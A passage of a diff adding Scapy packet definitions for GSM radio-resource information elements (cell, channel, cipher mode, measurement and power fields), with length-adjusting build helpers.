+             BitField("r36LoLp", None, 5),
+             BitField("r36HiHp", None, 3),
+             ByteField("r36HiLp", None),
+             ByteField("r37LoHp", None),
+
+             BitField("r37LoLp", None, 5),
+             BitField("r37HiHp", None, 3),
+             ByteField("r37HiLp", None),
+             ByteField("r38LoHp", None),
+
+             BitField("r38LoLp", None, 5),
+             BitField("r38HiHp", None, 3),
+             ByteField("r38HiLp", None),
+             ByteField("r39LoHp", None),
+
+             BitField("r39LoLp", None, 5),
+             BitField("r39HiHp", None, 3),
+             ByteField("r39HiLp", None),
+             ByteField("r40LoHp", None),
+
+             BitField("r40LoLp", None, 5),
+             BitField("r40HiHp", None, 3),
+             ByteField("r40HiLp", None),
+             ByteField("r41LoHp", None),
+
+             BitField("r41LoLp", None, 5),
+             BitField("r41HiHp", None, 3),
+             ByteField("r41HiLp", None),
+             ByteField("r42LoHp", None),
+
+             BitField("r42LoLp", None, 5),
+             BitField("r42HiHp", None, 3),
+             ByteField("r42HiLp", None),
+             ByteField("r43LoHp", None),
+
+             BitField("r43LoLp", None, 5),
+             BitField("r43HiHp", None, 3),
+             ByteField("r43HiLp", None),
+             ByteField("r44LoHp", None),
+
+             BitField("r44LoLp", None, 5),
+             BitField("r44HiHp", None, 3),
+             ByteField("r44HiLp", None),
+             ByteField("r45LoHp", None),
+
+             BitField("r45LoLp", None, 5),
+             BitField("r45HiHp", None, 3),
+             ByteField("r45HiLp", None),
+             ByteField("r46LoHp", None),
+
+             BitField("r46LoLp", None, 5),
+             BitField("r46HiHp", None, 3),
+             ByteField("r46HiLp", None),
+             ByteField("r47LoHp", None),
+
+             BitField("r47LoLp", None, 5),
+             BitField("r47HiHp", None, 3),
+             ByteField("r47HiLp", None),
+             ByteField("r48LoHp", None),
+
+             BitField("r48LoLp", None, 5),
+             BitField("r48HiHp", None, 3),
+             ByteField("r48HiLp", None),
+             ByteField("r49LoHp", None),
+
+             BitField("r49LoLp", None, 5),
+             BitField("r49HiHp", None, 3),
+             ByteField("r49HiLp", None),
+             ByteField("r50LoHp", None),
+
+             BitField("r50LoLp", None, 5),
+             BitField("r50HiHp", None, 3),
+             ByteField("r50HiLp", None),
+             ByteField("r51LoHp", None),
+
+             BitField("r51LoLp", None, 5),
+             BitField("r51HiHp", None, 3),
+             ByteField("r51HiLp", None),
+             ByteField("r52LoHp", None),
+
+             BitField("r52LoLp", None, 5),
+             BitField("r52HiHp", None, 3),
+             ByteField("r52HiLp", None),
+             ByteField("r53LoHp", None),
+
+             BitField("r53LoLp", None, 5),
+             BitField("r53HiHp", None, 3),
+             ByteField("r53HiLp", None),
+             ByteField("r54LoHp", None),
+
+             BitField("r54LoLp", None, 5),
+             BitField("r54HiHp", None, 3),
+             ByteField("r54HiLp", None),
+             ByteField("r55LoHp", None),
+
+             BitField("r55LoLp", None, 5),
+             BitField("r55HiHp", None, 3),
+             ByteField("r55HiLp", None),
+             ByteField("r56LoHp", None),
+
+             BitField("r56LoLp", None, 5),
+             BitField("r56HiHp", None, 3),
+             ByteField("r56HiLp", None),
+             ByteField("r57LoHp", None),
+
+             BitField("r57LoLp", None, 5),
+             BitField("r57HiHp", None, 3),
+             ByteField("r57HiLp", None),
+             ByteField("r58LoHp", None),
+
+             BitField("r58LoLp", None, 5),
+             BitField("r58HiHp", None, 3),
+             ByteField("r58HiLp", None),
+             ByteField("r59LoHp", None),
+
+             BitField("r59LoLp", None, 5),
+             BitField("r59HiHp", None, 3),
+             ByteField("r59HiLp", None),
+             ByteField("r60LoHp", None),
+
+             BitField("r60LoLp", None, 5),
+             BitField("r60HiHp", None, 3),
+             ByteField("r60HiLp", None),
+             ByteField("r61LoHp", None),
+
+             BitField("r61LoLp", None, 5),
+             BitField("r61HiHp", None, 3),
+             ByteField("r61HiLp", None),
+             ByteField("r62LoHp", None),
+
+             BitField("r62LoLp", None, 5),
+             BitField("r62HiHp", None, 3),
+             ByteField("r62HiLp", None),
+             ByteField("r63LoHp", None),
+
+             BitField("r63LoLp", None, 5),
+             BitField("r63HiHp", None, 3),
+             ByteField("r63HiLp", None),
+             ByteField("r64LoHp", None),
+
+             BitField("r64LoLp", None, 5),
+             BitField("r64HiHp", None, 3),
+             ByteField("r64HiLp", None),
+             ByteField("r65LoHp", None),
+
+             BitField("r65LoLp", None, 5),
+             BitField("r65HiHp", None, 3),
+             ByteField("r65HiLp", None),
+             ByteField("r66LoHp", None),
+
+             BitField("r66LoLp", None, 5),
+             BitField("r66HiHp", None, 3),
+             ByteField("r66HiLp", None),
+             ByteField("r67LoHp", None),
+
+             BitField("r67LoLp", None, 5),
+             BitField("r67HiHp", None, 3),
+             ByteField("r67HiLp", None),
+             ByteField("r68LoHp", None),
+
+             BitField("r68LoLp", None, 5),
+             BitField("r68HiHp", None, 3),
+             ByteField("r68HiLp", None),
+             ByteField("r69LoHp", None),
+
+             BitField("r69LoLp", None, 5),
+             BitField("r69HiHp", None, 3),
+             ByteField("r69HiLp", None),
+             ByteField("r70LoHp", None),
+
+             BitField("r70LoLp", None, 5),
+             BitField("r70HiHp", None, 3),
+             ByteField("r70HiLp", None),
+             ByteField("r71LoHp", None),
+
+             BitField("r71LoLp", None, 5),
+             BitField("r71HiHp", None, 3),
+             ByteField("r71HiLp", None),
+             ByteField("r72LoHp", None),
+
+             BitField("r72LoLp", None, 5),
+             BitField("r72HiHp", None, 3),
+             ByteField("r72HiLp", None),
+             ByteField("r73LoHp", None),
+
+             BitField("r73LoLp", None, 5),
+             BitField("r73HiHp", None, 3),
+             ByteField("r73HiLp", None),
+             ByteField("r74LoHp", None),
+
+             BitField("r74LoLp", None, 5),
+             BitField("r74HiHp", None, 3),
+             ByteField("r74HiLp", None),
+             ByteField("r75LoHp", None),
+
+             BitField("r75LoLp", None, 5),
+             BitField("r75HiHp", None, 3),
+             ByteField("r75HiLp", None),
+             ByteField("r76LoHp", None),
+
+             BitField("r76LoLp", None, 5),
+             BitField("r76HiHp", None, 3),
+             ByteField("r76HiLp", None),
+             ByteField("r77LoHp", None),
+
+             BitField("r77LoLp", None, 5),
+             BitField("r77HiHp", None, 3),
+             ByteField("r77HiLp", None),
+             ByteField("r78LoHp", None),
+
+             BitField("r78LoLp", None, 5),
+             BitField("r78HiHp", None, 3),
+             ByteField("r78HiLp", None),
+             ByteField("r79LoHp", None),
+
+             BitField("r79LoLp", None, 5),
+             BitField("r79HiHp", None, 3),
+             ByteField("r79HiLp", None),
+             ByteField("r80LoHp", None),
+
+             BitField("r80LoLp", None, 5),
+             BitField("r80HiHp", None, 3),
+             ByteField("r80HiLp", None),
+             ByteField("r81LoHp", None),
+
+             BitField("r81LoLp", None, 5),
+             BitField("r81HiHp", None, 3),
+             ByteField("r81HiLp", None),
+             ByteField("r82LoHp", None),
+
+             BitField("r82LoLp", None, 5),
+             BitField("r82HiHp", None, 3),
+             ByteField("r82HiLp", None),
+             ByteField("r83LoHp", None),
+
+             BitField("r83LoLp", None, 5),
+             BitField("r83HiHp", None, 3),
+             ByteField("r83HiLp", None),
+             ByteField("r84LoHp", None),
+
+             BitField("r84LoLp", None, 5),
+             BitField("r84HiHp", None, 3),
+             ByteField("r84HiLp", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(5, 253, a, self.fields_desc, 1)
+        if self.lengthBR is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+# len 3 to max for L3 message (251)
+class BaListPref(Packet):
+    """ BA List Pref Section 10.5.2.1c """
+    name = "BA List Pref"
+    fields_desc = [
+             XByteField("lengthBLP", None),
+
+             BitField("fixBit", 0x0, 1),
+             BitField("rangeLower", 0x0, 10),
+             BitField("fixBit2", 0x0, 1),
+             BitField("rangeUpper", 0x0, 10),
+             BitField("baFreq", 0x0, 10),
+             BitField("sparePad", 0x0, 8)
+             ]
+
+
+# len 17 || Have a look at the specs for the field format
+# Bit map 0 format
+# Range 1024 format
+# Range  512 format
+# Range  256 format
+# Range  128 format
+# Variable bit map format
+class CellChannelDescription(Packet):
+    """ Cell Channel Description  Section 10.5.2.1b """
+    name = "Cell Channel Description "
+    fields_desc = [
+             BitField("bit128", 0x0, 1),
+             BitField("bit127", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("spare2", 0x0, 1),
+             BitField("bit124", 0x0, 1),
+             BitField("bit123", 0x0, 1),
+             BitField("bit122", 0x0, 1),
+             BitField("bit121", 0x0, 1),
+             ByteField("bit120", 0x0),
+             ByteField("bit112", 0x0),
+             ByteField("bit104", 0x0),
+             ByteField("bit96", 0x0),
+             ByteField("bit88", 0x0),
+             ByteField("bit80", 0x0),
+             ByteField("bit72", 0x0),
+             ByteField("bit64", 0x0),
+             ByteField("bit56", 0x0),
+             ByteField("bit48", 0x0),
+             ByteField("bit40", 0x0),
+             ByteField("bit32", 0x0),
+             ByteField("bit24", 0x0),
+             ByteField("bit16", 0x0),
+             ByteField("bit8", 0x0)
+             ]
+
+
+class CellDescription(Packet):
+    """ Cell Description  Section 10.5.2.2 """
+    name = "Cell Description"
+    fields_desc = [
+             BitField("bcchHigh", 0x0, 2),
+             BitField("ncc", 0x0, 3),
+             BitField("bcc", 0x0, 3),
+             ByteField("bcchLow", 0x0)
+             ]
+
+
+class CellOptionsBCCH(Packet):
+    """ Cell Options (BCCH)  Section 10.5.2.3 """
+    name = "Cell Options (BCCH)"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("pwrc", 0x0, 1),
+             BitField("dtx", 0x0, 2),
+             BitField("rLinkTout", 0x0, 4)
+             ]
+
+
+class CellOptionsSACCH(Packet):
+    """ Cell Options (SACCH) Section 10.5.2.3a """
+    name = "Cell Options (SACCH)"
+    fields_desc = [
+             BitField("dtx", 0x0, 1),
+             BitField("pwrc", 0x0, 1),
+             BitField("dtx", 0x0, 1),
+             BitField("rLinkTout", 0x0, 4)
+             ]
+
+
+class CellSelectionParameters(Packet):
+    """ Cell Selection Parameters Section 10.5.2.4 """
+    name = "Cell Selection Parameters"
+    fields_desc = [
+             BitField("cellReselect", 0x0, 3),
+             BitField("msTxPwrMax", 0x0, 5),
+             BitField("acs", None, 1),
+             BitField("neci", None, 1),
+             BitField("rxlenAccMin", None, 6)
+             ]
+
+
+class MacModeAndChannelCodingRequest(Packet):
+    """ MAC Mode and Channel Coding Requested Section 10.5.2.4a """
+    name = "MAC Mode and Channel Coding Requested"
+    fields_desc = [
+             BitField("macMode", 0x0, 2),
+             BitField("cs", 0x0, 2)
+             ]
+
+
+class ChannelDescription(Packet):
+    """ Channel Description  Section 10.5.2.5 """
+    name = "Channel Description"
+    fields_desc = [
+
+             BitField("channelTyp", 0x0, 5),
+             BitField("tn", 0x0, 3),
+
+             BitField("tsc", 0x0, 3),
+             BitField("h", 0x1, 1),
+             BitField("maioHi", 0x0, 4),
+
+             BitField("maioLo", 0x0, 2),
+             BitField("hsn", 0x0, 6)
+             ]
+
+
+class ChannelDescription2(Packet):
+    """ Channel Description 2 Section 10.5.2.5a """
+    name = "Channel Description 2"
+    fields_desc = [
+             BitField("channelTyp", 0x0, 5),
+             BitField("tn", 0x0, 3),
+             BitField("tsc", 0x0, 3),
+             BitField("h", 0x0, 1),
+             # if h=1
+             # BitField("maioHi", 0x0, 4),
+             # BitField("maioLo", 0x0, 2),
+             # BitField("hsn", 0x0, 6)
+             BitField("spare", 0x0, 2),
+             BitField("arfcnHigh", 0x0, 2),
+             ByteField("arfcnLow", 0x0)
+             ]
+
+
+class ChannelMode(Packet):
+    """ Channel Mode Section 10.5.2.6 """
+    name = "Channel Mode"
+    fields_desc = [
+             ByteField("mode", 0x0)
+             ]
+
+
+class ChannelMode2(Packet):
+    """ Channel Mode 2 Section 10.5.2.7 """
+    name = "Channel Mode 2"
+    fields_desc = [
+             ByteField("mode", 0x0)
+             ]
+
+
+class ChannelNeeded(Packet):
+    """ Channel Needed Section 10.5.2.8 """
+    name = "Channel Needed"
+    fields_desc = [
+             BitField("channel2", 0x0, 2),
+             BitField("channel1", 0x0, 2),
+             ]
+
+
+class ChannelRequestDescription(Packet):
+    """Channel Request Description  Section 10.5.2.8a """
+    name = "Channel Request Description"
+    fields_desc = [
+             BitField("mt", 0x0, 1),
+             ConditionalField(BitField("spare", 0x0, 39),
+                              lambda pkt: pkt.mt == 0),
+             ConditionalField(BitField("spare", 0x0, 3),
+                              lambda pkt: pkt.mt == 1),
+             ConditionalField(BitField("priority", 0x0, 2),
+                              lambda pkt: pkt.mt == 1),
+             ConditionalField(BitField("rlcMode", 0x0, 1),
+                              lambda pkt: pkt.mt == 1),
+             ConditionalField(BitField("llcFrame", 0x1, 1),
+                              lambda pkt: pkt.mt == 1),
+             ConditionalField(ByteField("reqBandMsb", 0x0),
+                              lambda pkt: pkt.mt == 1),
+             ConditionalField(ByteField("reqBandLsb", 0x0),
+                              lambda pkt: pkt.mt == 1),
+             ConditionalField(ByteField("rlcMsb", 0x0),
+                              lambda pkt: pkt.mt == 1),
+             ConditionalField(ByteField("rlcLsb", 0x0),
+                              lambda pkt: pkt.mt == 1)
+             ]
+
+
+class CipherModeSetting(Packet):
+    """Cipher Mode Setting Section 10.5.2.9 """
+    name = "Cipher Mode Setting"
+    fields_desc = [
+             BitField("algoId", 0x0, 3),
+             BitField("sc", 0x0, 1),
+             ]
+
+
+class CipherResponse(Packet):
+    """Cipher Response Section 10.5.2.10 """
+    name = "Cipher Response"
+    fields_desc = [
+             BitField("spare", 0x0, 3),
+             BitField("cr", 0x0, 1),
+             ]
+
+
+class ControlChannelDescription(Packet):
+    """Control Channel Description Section 10.5.2.11 """
+    name = "Control Channel Description"
+    fields_desc = [
+
+             BitField("spare", 0x0, 1),
+             BitField("att", 0x0, 1),
+             BitField("bsAgBlksRes", 0x0, 3),
+             BitField("ccchConf", 0x0, 3),
+
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("spare2", 0x0, 1),
+             BitField("spare3", 0x0, 1),
+             BitField("spare4", 0x0, 1),
+             BitField("bsPaMfrms", 0x0, 3),
+
+             ByteField("t3212", 0x0)
+             ]
+
+
+class FrequencyChannelSequence(Packet):
+    """Frequency Channel Sequence Section 10.5.2.12"""
+    name = "Frequency Channel Sequence"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("lowestArfcn", 0x0, 7),
+             BitField("skipArfcn01", 0x0, 4),
+             BitField("skipArfcn02", 0x0, 4),
+             BitField("skipArfcn03", 0x0, 4),
+             BitField("skipArfcn04", 0x0, 4),
+             BitField("skipArfcn05", 0x0, 4),
+             BitField("skipArfcn06", 0x0, 4),
+             BitField("skipArfcn07", 0x0, 4),
+             BitField("skipArfcn08", 0x0, 4),
+             BitField("skipArfcn09", 0x0, 4),
+             BitField("skipArfcn10", 0x0, 4),
+             BitField("skipArfcn11", 0x0, 4),
+             BitField("skipArfcn12", 0x0, 4),
+             BitField("skipArfcn13", 0x0, 4),
+             BitField("skipArfcn14", 0x0, 4),
+             BitField("skipArfcn15", 0x0, 4),
+             BitField("skipArfcn16", 0x0, 4)
+             ]
+
+
+class FrequencyList(Packet):
+    """Frequency List Section 10.5.2.13"""
+    name = "Frequency List"
+ # Problem:
+ # There are several formats for the Frequency List information
+ # element, distinguished by the "format indicator" subfield.
+ # Some formats are frequency bit maps, the others use a special encoding
+ # scheme.
+    fields_desc = [
+             XByteField("lengthFL", None),
+
+             BitField("formatID", 0x0, 2),
+             BitField("spare", 0x0, 2),
+             BitField("arfcn124", 0x0, 1),
+             BitField("arfcn123", 0x0, 1),
+             BitField("arfcn122", 0x0, 1),
+             BitField("arfcn121", 0x0, 1),
+
+             ByteField("arfcn120", 0x0),
+             ByteField("arfcn112", 0x0),
+             ByteField("arfcn104", 0x0),
+             ByteField("arfcn96", 0x0),
+             ByteField("arfcn88", 0x0),
+             ByteField("arfcn80", 0x0),
+             ByteField("arfcn72", 0x0),
+             ByteField("arfcn64", 0x0),
+             ByteField("arfcn56", 0x0),
+             ByteField("arfcn48", 0x0),
+             ByteField("arfcn40", 0x0),
+             ByteField("arfcn32", 0x0),
+             ByteField("arfcn24", 0x0),
+             ByteField("arfcn16", 0x0),
+             ByteField("arfcn8", 0x0)
+             ]
+
+
+# len 4 to 13
+class GroupChannelDescription(Packet):
+    """Group Channel Description Section 10.5.2.14b"""
+    name = "Group Channel Description"
+    fields_desc = [
+             XByteField("lengthGCD", None),
+
+             BitField("channelType", 0x0, 5),
+             BitField("tn", 0x0, 3),
+
+             BitField("tsc", 0x0, 3),
+             BitField("h", 0x0, 1),
+             # if  h == 0 the  packet looks the following way:
+             ConditionalField(BitField("spare", 0x0, 2),
+                              lambda pkt: pkt. h == 0x0),
+             ConditionalField(BitField("arfcnHi", 0x0, 2),
+                              lambda pkt: pkt. h == 0x0),
+             ConditionalField(ByteField("arfcnLo", None),
+                              lambda pkt: pkt. h == 0x0),
+             # if  h == 1 the  packet looks the following way:
+             ConditionalField(BitField("maioHi", 0x0, 4),
+                              lambda pkt: pkt. h == 0x1),
+             ConditionalField(BitField("maioLo", None, 2),
+                              lambda pkt: pkt. h == 0x1),
+             ConditionalField(BitField("hsn", None, 6),
+                              lambda pkt: pkt. h == 0x1),
+             # finished with conditional fields
+             ByteField("maC6", None),
+             ByteField("maC7", None),
+             ByteField("maC8", None),
+             ByteField("maC9", None),
+             ByteField("maC10", None),
+             ByteField("maC11", None),
+             ByteField("maC12", None),
+             ByteField("maC13", None),
+             ByteField("maC14", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(4, 13, a, self.fields_desc, 1)
+        if self.lengthGCD is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class GprsResumption(Packet):
+    """GPRS Resumption  Section 10.5.2.14c"""
+    name = "GPRS Resumption"
+    fields_desc = [
+             BitField("spare", 0x0, 3),
+             BitField("ack", 0x0, 1)
+             ]
+
+
+class HandoverReference(Packet):
+    """Handover Reference Section 10.5.2.15"""
+    name = "Handover Reference"
+    fields_desc = [
+             ByteField("handoverRef", 0x0)
+             ]
+
+
+class IraRestOctets(Packet):
+    """IAR Rest Octets Section 10.5.2.17"""
+    name = "IAR Rest Octets"
+    fields_desc = [
+             BitField("spare01", 0x0, 1),
+             BitField("spare02", 0x0, 1),
+             BitField("spare03", 0x1, 1),
+             BitField("spare04", 0x0, 1),
+             BitField("spare05", 0x1, 1),
+             BitField("spare06", 0x0, 1),
+             BitField("spare07", 0x1, 1),
+             BitField("spare08", 0x1, 1),
+             BitField("spare09", 0x0, 1),
+             BitField("spare10", 0x0, 1),
+             BitField("spare11", 0x1, 1),
+             BitField("spare12", 0x0, 1),
+             BitField("spare13", 0x1, 1),
+             BitField("spare14", 0x0, 1),
+             BitField("spare15", 0x1, 1),
+             BitField("spare16", 0x1, 1),
+             BitField("spare17", 0x0, 1),
+             BitField("spare18", 0x0, 1),
+             BitField("spare19", 0x1, 1),
+             BitField("spare20", 0x0, 1),
+             BitField("spare21", 0x1, 1),
+             BitField("spare22", 0x0, 1),
+             BitField("spare23", 0x1, 1),
+             BitField("spare24", 0x1, 1)
+             ]
+
+
+# len is 1 to 5 what do we do with the variable size? no length
+# field?! WTF
+class IaxRestOctets(Packet):
+    """IAX Rest Octets Section 10.5.2.18"""
+    name = "IAX Rest Octets"
+    fields_desc = [
+             BitField("spare01", 0x0, 1),
+             BitField("spare02", 0x0, 1),
+             BitField("spare03", 0x1, 1),
+             BitField("spare04", 0x0, 1),
+             BitField("spare05", 0x1, 1),
+             BitField("spare06", 0x0, 1),
+             BitField("spare07", 0x1, 1),
+             BitField("spare08", 0x1, 1),
+             ByteField("spareB1", None),
+             ByteField("spareB2", None),
+             ByteField("spareB3", None)
+             ]
+
+
+class L2PseudoLength(Packet):
+    """L2 Pseudo Length Section 10.5.2.19"""
+    name = "L2 Pseudo Length"
+    fields_desc = [
+             BitField("l2pLength", None, 6),
+             BitField("bit2", 0x0, 1),
+             BitField("bit1", 0x1, 1)
+             ]
+
+
+class MeasurementResults(Packet):
+    """Measurement Results Section 10.5.2.20"""
+    name = "Measurement Results"
+    fields_desc = [
+             BitField("baUsed", 0x0, 1),
+             BitField("dtxUsed", 0x0, 1),
+             BitField("rxLevFull", 0x0, 6),
+
+             BitField("spare", 0x0, 1),
+             BitField("measValid", 0x0, 1),
+             BitField("rxLevSub", 0x0, 6),
+
+             BitField("spare0", 0x0, 1),
+             BitField("rxqualFull", 0x0, 3),
+             BitField("rxqualSub", 0x0, 3),
+             BitField("noNcellHi", 0x0, 1),
+
+             BitField("noNcellLo", 0x0, 2),
+             BitField("rxlevC1", 0x0, 6),
+
+             BitField("bcchC1", 0x0, 5),
+             BitField("bsicC1Hi", 0x0, 3),
+
+             BitField("bsicC1Lo", 0x0, 3),
+             BitField("rxlevC2", 0x0, 5),
+
+             BitField("rxlevC2Lo", 0x0, 1),
+             BitField("bcchC2", 0x0, 5),
+             BitField("bsicC2Hi", 0x0, 2),
+
+             BitField("bscicC2Lo", 0x0, 4),
+             BitField("bscicC2Hi", 0x0, 4),
+
+             BitField("rxlevC3Lo", 0x0, 2),
+             BitField("bcchC3", 0x0, 5),
+             BitField("rxlevC3Hi", 0x0, 1),
+
+             BitField("bsicC3Lo", 0x0, 5),
+             BitField("bsicC3Hi", 0x0, 3),
+
+             BitField("rxlevC4Lo", 0x0, 3),
+             BitField("bcchC4", 0x0, 5),
+
+             BitField("bsicC4", 0x0, 6),
+             BitField("rxlevC5Hi", 0x0, 2),
+
+             BitField("rxlevC5Lo", 0x0, 4),
+             BitField("bcchC5Hi", 0x0, 4),
+
+             BitField("bcchC5Lo", 0x0, 1),
+             BitField("bsicC5", 0x0, 6),
+             BitField("rxlevC6", 0x0, 1),
+
+             BitField("rxlevC6Lo", 0x0, 5),
+             BitField("bcchC6Hi", 0x0, 3),
+
+             BitField("bcchC6Lo", 0x0, 3),
+             BitField("bsicC6", 0x0, 5)
+             ]
+
+
+class GprsMeasurementResults(Packet):
+    """GPRS Measurement Results Section 10.5.2.20a"""
+    name = "GPRS Measurement Results"
+    fields_desc = [
+             BitField("cValue", 0x0, 6),
+             BitField("rxqualHi", 0x0, 2),
+             BitField("rxqL", 0x0, 1),
+             BitField("spare", 0x0, 1),
+             BitField("signVar", 0x0, 6)
+             ]
+
+
+# len 3 to 10
+class MobileAllocation(Packet):
+    """Mobile Allocation Section 10.5.2.21"""
+    name = "Mobile Allocation"
+    fields_desc = [
+             XByteField("lengthMA", None),
+             ByteField("maC64", 0x12),
+             ByteField("maC56", None),  # optional fields start here
+             ByteField("maC48", None),
+             ByteField("maC40", None),
+             ByteField("maC32", None),
+             ByteField("maC24", None),
+             ByteField("maC16", None),
+             ByteField("maC8", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 9, a, self.fields_desc, 1)
+        if self.lengthMA is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class MobileTimeDifference(Packet):
+    """Mobile Time Difference Section 10.5.2.21a"""
+    name = "Mobile Time Difference"
+    fields_desc = [
+             XByteField("lengthMTD", 0x5),
+             ByteField("valueHi", 0x0),
+             ByteField("valueCnt", 0x0),
+             BitField("valueLow", 0x0, 5),
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("spare2", 0x0, 1)
+             ]
+
+
+# min 4 octets max 8
+class MultiRateConfiguration(Packet):
+    """ MultiRate configuration Section 10.5.2.21aa"""
+    name = "MultiRate Configuration"
+ # This  packet has a variable length and hence structure. This packet
+ # implements the longest possible  packet. If you build a shorter
+ #  packet, for example having only 6 bytes, the last 4 bytes are  named
+ # "Spare" in the specs. Here they are  named "threshold2"
+    fields_desc = [
+             XByteField("lengthMRC", None),
+
+             BitField("mrVersion", 0x0, 3),
+             BitField("spare", 0x0, 1),
+             BitField("icmi", 0x0, 1),
+             BitField("spare", 0x0, 1),
+             BitField("startMode", 0x0, 2),
+
+             ByteField("amrCodec", None),
+
+             BitField("spare", None, 2),
+             BitField("threshold1", None, 6),
+
+             BitField("hysteresis1", None, 4),
+             BitField("threshold2", None, 4),
+
+             BitField("threshold2cnt", None, 2),
+             BitField("hysteresis2", None, 4),
+             BitField("threshold3", None, 2),
+
+             BitField("threshold3cnt", None, 4),
+             BitField("hysteresis3", None, 4)
+             ]
+
+    def post_build(self, p, pay):
+        # we set the length
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(3, 7, a, self.fields_desc, 1)
+        if self.lengthMRC is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+# len 2 to 11
+class MultislotAllocation(Packet):
+    """Multislot Allocation Section 10.5.2.21b"""
+    name = "Multislot Allocation"
+    fields_desc = [
+             XByteField("lengthMSA", None),
+             BitField("ext0", 0x1, 1),
+             BitField("da", 0x0, 7),
+             ConditionalField(BitField("ext1", 0x1, 1),  # optional
+                                        lambda pkt: pkt.ext0 == 0),
+             ConditionalField(BitField("ua", 0x0, 7),
+                                        lambda pkt: pkt.ext0 == 0),
+             ByteField("chan1", None),
+             ByteField("chan2", None),
+             ByteField("chan3", None),
+             ByteField("chan4", None),
+             ByteField("chan5", None),
+             ByteField("chan6", None),
+             ByteField("chan7", None),
+             ByteField("chan8", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(1, 11, a, self.fields_desc, 1)
+        if res[0] != 0:
+            p = p[:-res[0]]
+        if self.lengthMSA is None:
+            p = struct.pack(">B", len(p)-1) + p[1:]
+        return p + pay
+
+
+class NcMode(Packet):
+    """NC mode Section 10.5.2.21c"""
+    name = "NC Mode"
+    fields_desc = [
+             BitField("spare", 0x0, 2),
+             BitField("ncMode", 0x0, 2)
+             ]
+
+
+class NeighbourCellsDescription(Packet):
+    """Neighbour Cells Description Section 10.5.2.22"""
+    name = "Neighbour Cells Description"
+    fields_desc = [
+             BitField("bit128", 0x0, 1),
+             BitField("bit127", 0x0, 1),
+             BitField("extInd", 0x0, 1),
+             BitField("baInd", 0x0, 1),
+             BitField("bit124", 0x0, 1),
+             BitField("bit123", 0x0, 1),
+             BitField("bit122", 0x0, 1),
+             BitField("bit121", 0x0, 1),
+             BitField("120bits", 0x0, 120)
+             ]
+
+
+class NeighbourCellsDescription2(Packet):
+    """Neighbour Cells Description 2 Section 10.5.2.22a"""
+    name = "Neighbour Cells Description 2"
+    fields_desc = [
+             BitField("bit128", 0x0, 1),
+             BitField("multiband", 0x0, 2),
+             BitField("baInd", 0x0, 1),
+             BitField("bit124", 0x0, 1),
+             BitField("bit123", 0x0, 1),
+             BitField("bit122", 0x0, 1),
+             BitField("bit121", 0x0, 1),
+             BitField("120bits", 0x0, 120)
+             ]
+
+
+# len 4
+# strange  packet, lots of valid formats
+
+# ideas for the dynamic  packets:
+# 1] for user interaction: Create an interactive "builder" based on a
+# Q/A process (not very scapy like)
+# 2] for usage in scripts, create an alternative  packet for every
+# possible  packet layout
+#
+
+class DedicatedModeOrTBF(Packet):
+    """Dedicated mode or TBF Section 10.5.2.25b"""
+    name = "Dedicated Mode or TBF"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("tma", 0x0, 1),
+             BitField("downlink", 0x0, 1),
+             BitField("td", 0x0, 1)
+             ]
+
+
+class PageMode(Packet):
+    """Page Mode Section 10.5.2.26"""
+    name = "Page Mode"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("pm", 0x0, 2)
+             ]
+
+
+class NccPermitted(Packet):
+    """NCC Permitted Section 10.5.2.27"""
+    name = "NCC Permitted"
+    fields_desc = [
+             ByteField("nccPerm", 0x0)
+             ]
+
+
+class PowerCommand(Packet):
+    """Power Command Section 10.5.2.28"""
+    name = "Power Command"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("spare2", 0x0, 1),
+             BitField("powerLvl", 0x0, 5)
+             ]
+
+
+class PowerCommandAndAccessType(Packet):
+    """Power Command and access type  Section 10.5.2.28a"""
+    name = "Power Command and Access Type"
+    fields_desc = [
+             BitField("atc", 0x0, 1),
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("powerLvl", 0x0, 5)
+             ]
+
+
+class RachControlParameters(Packet):
+    """RACH Control Parameters Section 10.5.2.29"""
+    name = "RACH Control Parameters"
+    fields_desc = [
+             BitField("maxRetrans", 0x0, 2),
+             BitField("txInteger", 0x0, 4),
+             BitField("cellBarrAccess", 0x0, 1),
+             BitField("re", 0x0, 1),
+             BitField("ACC15", 0x0, 1),
+             BitField("ACC14", 0x0, 1),
+             BitField("ACC13", 0x0, 1),
+             BitField("ACC12", 0x0, 1),
+             BitField("ACC11", 0x0, 1),
+             BitField("ACC10", 0x0, 1),
+             BitField("ACC09", 0x0, 1),
+             BitField("ACC08", 0x0, 1),
+             BitField("ACC07", 0x0, 1),
+             BitField("ACC06", 0x0, 1),
+             BitField("ACC05", 0x0, 1),
+             BitField("ACC04", 0x0, 1),
+             BitField("ACC03", 0x0, 1),
+             BitField("ACC02", 0x0, 1),
+             BitField("ACC01", 0x0, 1),
+             BitField("ACC00", 0x0, 1),
+             ]
+
+
+class RequestReference(Packet):
+    """Request Reference  Section 10.5.2.30"""
+    name = "Request Reference"
+    fields_desc = [
+             ByteField("ra", 0x0),
